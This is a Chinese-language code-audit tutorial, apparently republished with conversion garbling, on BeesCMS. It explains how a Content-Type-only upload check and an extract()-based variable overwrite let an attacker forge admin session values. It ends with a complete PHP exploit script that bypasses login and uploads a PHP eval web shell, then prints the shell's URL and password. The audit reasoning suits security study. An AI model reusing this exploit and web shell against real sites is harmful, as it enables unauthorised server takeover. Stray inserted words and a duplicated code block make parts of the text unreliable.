代碼審計就該這麼來3 beescms getshell

本文做者:i春秋做家——索馬里的海賊javascript

 

前言
上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)說到快速漏洞挖掘中的幾個重點關注對象,命令執行,文件操做,sql注入。而且拿sql作爲例子簡單作了一次代碼審計,今天換一個思路,從文件操做部分入手,畢竟 文件操做一個搞很差就是getshell,比起注入循序漸進慢慢來可要爽快多了。php

1、關注重點 
對於文件操做部分來講,首先對php內置的文件操做函數的做用和特性要有一個大概的瞭解html

file_get_contents()
file_put_contents()
move_uploaded_file()
readfile()
fopen()
file()
fputs()
fwrite()
…………java

這些都是經常使用的文件讀寫類函數,通常文件類的漏洞直接搜索這些函數的調用,跟蹤上下文參數傳遞過程就能夠了。提及來挺簡單 其實要一個一個調用看過去仍是很費時間的,尤爲是在快速漏洞挖掘中,對系統結構還不太熟悉,有些參數傳遞或者方法可能一眼看上去就懵比了。那麼如何來快速發現一個文件類的漏洞呢。
審計文件類的漏洞,首先我會去看這套系統的上傳部分。上傳部分是已經構造完成的一套從輸入到寫入到輸出的流程,若是其中存在問題,那麼極可能直接就拿到shell。
上傳漏洞被挖了這麼多年,各種cms或多或少都會在上傳部分作一些檢查和限制,常見的檢查有
一、$_FILES['file']['name'] 通常會從上傳文件的文件名中取出擴展名,並與白名單或者黑名單作比較來判斷是否繼續上傳。
二、$_FILES['file']['type'] 上傳文件的類型,通常是與白名單比較。
三、$_FILES['file']['tmp_name'] 上傳文件的臨時保存文件,有些比較嚴謹的CMS會在這個階段 用getimagesize等函數對臨時文件作檢查。如文件不合法 直接丟棄
常見的限制有
一、使用is_uploaded_file() 這個函數會檢查$_FILES['file']['tmp_name'] 是否爲合法的上傳文件,當$_FILES被漏洞覆蓋的時候,可被修改的$_FILES['file']['tmp_name']將是一個極大的安全威脅,若是處理文件上傳的函數是copy 那麼最輕都是一個任意文件讀取的漏洞。
二、單獨使用move_uploaded_file()函數處理上傳文件,理由同上,move_uploaded_file函數也會判斷是否爲合法文件。減小系統存在變量覆蓋漏洞時躺槍的機率。
三、文件名不可控且後綴名限制爲某個數組的成員 好比sql

 

$ext=array(‘jpg’,'png’,'gif’);shell

$filename = ‘user_avatar_01′ . $ext[$s];數組

接下來就看看咱們的目標beescms
2、實戰
先來看看beescms的上傳部分代碼安全

 

if(isset($_FILES['up'])){服務器

if(is_uploaded_file($_FILES['up']['tmp_name'])){cookie

        if($up_type==’pic’){

                $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];

                $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);

                $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);

                $logo=0;

                $is_up_size = $_sys['upload_size']*1000*1000;

                $value_arr=up_img($_FILES['up'],$is_up_size,array(‘image/gif’,'image/jpeg’,'image/png’,'image/jpg’,'image/bmp’,'image/pjpeg’),$is_thumb,$thumb_width,$thumb_height,$logo);

                $pic=$value_arr['pic'];

                if(!empty($value_arr['thumb'])){

                $pic=$value_arr['thumb'];

                }

                $str=」<script type=\」text/javascript\」>$(self.parent.document).find(‘#{$get}’).val(‘{$pic}’);self.parent.tb_remove();</script>」;

                echo $str;

                exit;

        }//圖片上傳

}else{

die(‘沒有上傳文件或文件大小超過服務器限制大小<a href=」javascript:history.back(1);」>返回從新上傳</a>’);

}

}

能夠看到  用is_uploaded_file檢查了上傳文件是否合法,因此即便系統有變量覆蓋漏洞(這套系統的確是有的,後面會說),也幫不上多大忙了

實際上傳用的是up_img函數 接着跟過去看看

 

function up_img($file,$size,$type,$thumb=0,$thumb_width=」,$thumb_height=」,$logo=1,$pic_alt=」){

                if(file_exists(DATA_PATH.’sys_info.php’)){include(DATA_PATH.’sys_info.php’);}

                if(is_uploaded_file($file['tmp_name'])){

                if($file['size']>$size){

                        msg(‘圖片超過’.$size.’大小’);

                }

                $pic_name=pathinfo($file['name']);//圖片信息

                

                $file_type=$file['type'];

                if(!in_array(strtolower($file_type),$type)){

                        msg(‘上傳圖片格式不正確’);

                }

                $path_name=」upload/img/」;

                $path=CMS_PATH.$path_name;

                if(!file_exists($path)){

                        @mkdir($path);

                }

                $up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt;

                $up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name);

                $file_name=$path.$up_file_name2.’.’.$pic_name['extension'];

                

                if(file_exists($file_name)){

                        msg(‘已經存在該圖片,請更改圖片名稱!’);//判斷是否重名

                }

                

                $return_name['up_pic_size']=$file['size'];//上傳圖片大小

                $return_name['up_pic_ext']=$pic_name['extension'];//上傳文件擴展名

                $return_name['up_pic_name']=$up_file_name;//上傳圖片名

                $return_name['up_pic_path']=$path_name;//上傳圖片路徑

                $return_name['up_pic_time']=time();//上傳時間

                unset($pic_name);

                //開始上傳

                if(!move_uploaded_file($file['tmp_name'],$file_name)){

                        msg(‘圖片上傳失敗’,」,0);

                }

好了來看看他的檢查和限制

 

$file_type=$file['type'];

                if(!in_array(strtolower($file_type),$type)){

                        msg(‘上傳圖片格式不正確’);

                }

這裏檢查了上傳文件的type 若是type不在白名單裏 就直接提示出錯

這個檢查其實作的是無用功,type來自客戶端,想怎麼僞造均可以

再來看看保存的文件名

 

$pic_name=pathinfo($file['name']);//圖片信息

…………

$up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt;

                $up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name);

                $file_name=$path.$up_file_name2.’.’.$pic_name['extension'];

並無作任何檢查就直接取了$file['name'](就是咱們上傳時候的文件名)的後綴來給新生成的文件,只要僞造合法的type就能妥妥的getshell了

3、一波三折
結束了麼?並無,其實beecms這套系統前臺根本就沒有上傳點。。。全部的上傳功能都須要後臺權限。一個後臺getshell固然不能知足,因而繼續挖掘。先來看看是怎麼驗證後臺權限的

admin/upload.php第二行

 

include(‘init.php’);

admin/init.php 第54行

if(!is_login()){header('location:login.php');exit;}

來看看這個is_login函數

 

includes/fun.php 第997行
function is_login(){
        if($_SESSION['login_in']==1&&$_SESSION['admin']){
                if(time()-$_SESSION['login_time']>3600){
                        login_out();
                }else{
                        $_SESSION['login_time']=time();
                        @session_regenerate_id();
                }
                return 1;
        }else{
                $_SESSION['admin']='';
                $_SESSION['admin_purview']='';
                $_SESSION['admin_id']='';
                $_SESSION['admin_time']='';
                $_SESSION['login_in']='';
                $_SESSION['login_time']='';
                $_SESSION['admin_ip']='';
                return 0;
        }
 
}

來看看這個is_login函數

includes/fun.php 第997行

function is_login(){
        if($_SESSION['login_in']==1&&$_SESSION['admin']){
                if(time()-$_SESSION['login_time']>3600){
                        login_out();
                }else{
                        $_SESSION['login_time']=time();
                        @session_regenerate_id();
                }
                return 1;
        }else{
                $_SESSION['admin']='';
                $_SESSION['admin_purview']='';
                $_SESSION['admin_id']='';
                $_SESSION['admin_time']='';
                $_SESSION['login_in']='';
                $_SESSION['login_time']='';
                $_SESSION['admin_ip']='';
                return 0;
        }
 
}

這裏並無對用戶信息作檢查,只是單純的判斷了是否存在login_in admin這兩個session標識位和是否超時而已

前面說到過這套系統存在變量覆蓋漏洞 若是能覆蓋(添加)這幾個$_SESSION值 就能繞過這個檢查

$_SESSION覆蓋有個必須前提,session_start()必須出如今覆蓋以前,否則就算覆蓋了$_SESSION變量,一旦session_start()  變量就會被初始化掉。

來看看覆蓋的地方

includes/init.php  部分代碼省略

session_start();
@include(INC_PATH.'fun.php');
define('IS_MB',is_mb());
 
unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
if (!get_magic_quotes_gpc())
{
    if (isset($_REQUEST))
    {
        $_REQUEST  = addsl($_REQUEST);
    }
    $_COOKIE   = addsl($_COOKIE);
        $_POST = addsl($_POST);
        $_GET = addsl($_GET);
}
if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}
    $_COOKIE   = fl_value($_COOKIE);
        $_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

一個全局過濾的代碼,最後用extract來初始化變量 因爲沒有使用EXTR_SKIP參數致使任意變量覆蓋,又因爲執行的時候已經session_start()了
因此能夠覆蓋(添加)任意$_SESSION值。 這麼一來就能繞事後臺檢查把一個後臺getshell變成前臺getshell了

4、利用

利用就很簡單了,首先POST index.php

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

而後打開/admin/upload.php 選擇一個php文件上傳
修改上傳包中的Content-Type:爲image/png就能夠了

算了仍是把exp放上來吧。。。
利用腳本具備攻擊性,請在本地環境進行測試!
請勿針對任何互聯網站點使用本腳本!
利用本腳本形成的一切後果與本人無關!

<?php
print_r('
****************************************************
*
* Beescms File Upload Vulnerability
* by SMLDHZ
* QQ:3298302054
* Usage: php '.basename(__FILE__).' url
* php '.basename(__FILE__).' [url]http://www.beescms.com/beescms/[/url]
*
****************************************************
');
if($argc!=2){
exit;
}
$uri = $argv[1];
$payload1 = '_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999';
$payload2 = array(
'up"; filename="shell.php"'."\r\nContent-Type:image/png\r\n\r\n<?php eval(\$_POST['x']);?>"=>''
);
preg_match('#Set-Cookie:(.*);#',myCurl($uri."/index.php",$payload1),$match);
if(!isset($match[1])){
die('[-]Opps! Cannot get Cookie...');
}
echo "[+]Got Cookie:".$match[1]."\r\n";
echo "[+]Now trying to getshell...\r\n";
$tmp = myCurl($uri."/admin/upload.php",$payload2,$match[1]);
preg_match('#val\(\'(.*)\'\)#',$tmp,$shell);
if(!isset($shell[1])){
die('[-]Opps! Cannot get shell... see below\r\n'.$tmp);
}
echo "[+]Your shell:".$uri."/upload/".$shell[1]." [password]:x";

function myCurl($url,$postData='',$cookie=''){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if($cookie != ''){
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$ret = curl_exec($ch);
curl_close($ch);
return $ret;
}



總結
寫文章真尼瑪累,其實整篇文章對於一個熟悉php代碼審計的人來講,兩句話就能說清楚了

 

前臺變量覆蓋$_SESSION可繞事後臺驗證

後臺上傳部分只驗證了Content-Type致使getshell

爲何寫這麼多,並非爲了多賺稿費(要是按字收費就行了。。。)我是但願無論小夥伴們懂不懂代碼審計,都能看得下去這篇文章,不說看完能學到多少,至少step by step讀下來沒那麼枯燥,新手看下來也能以爲有收穫。

相關文章
相關標籤/搜索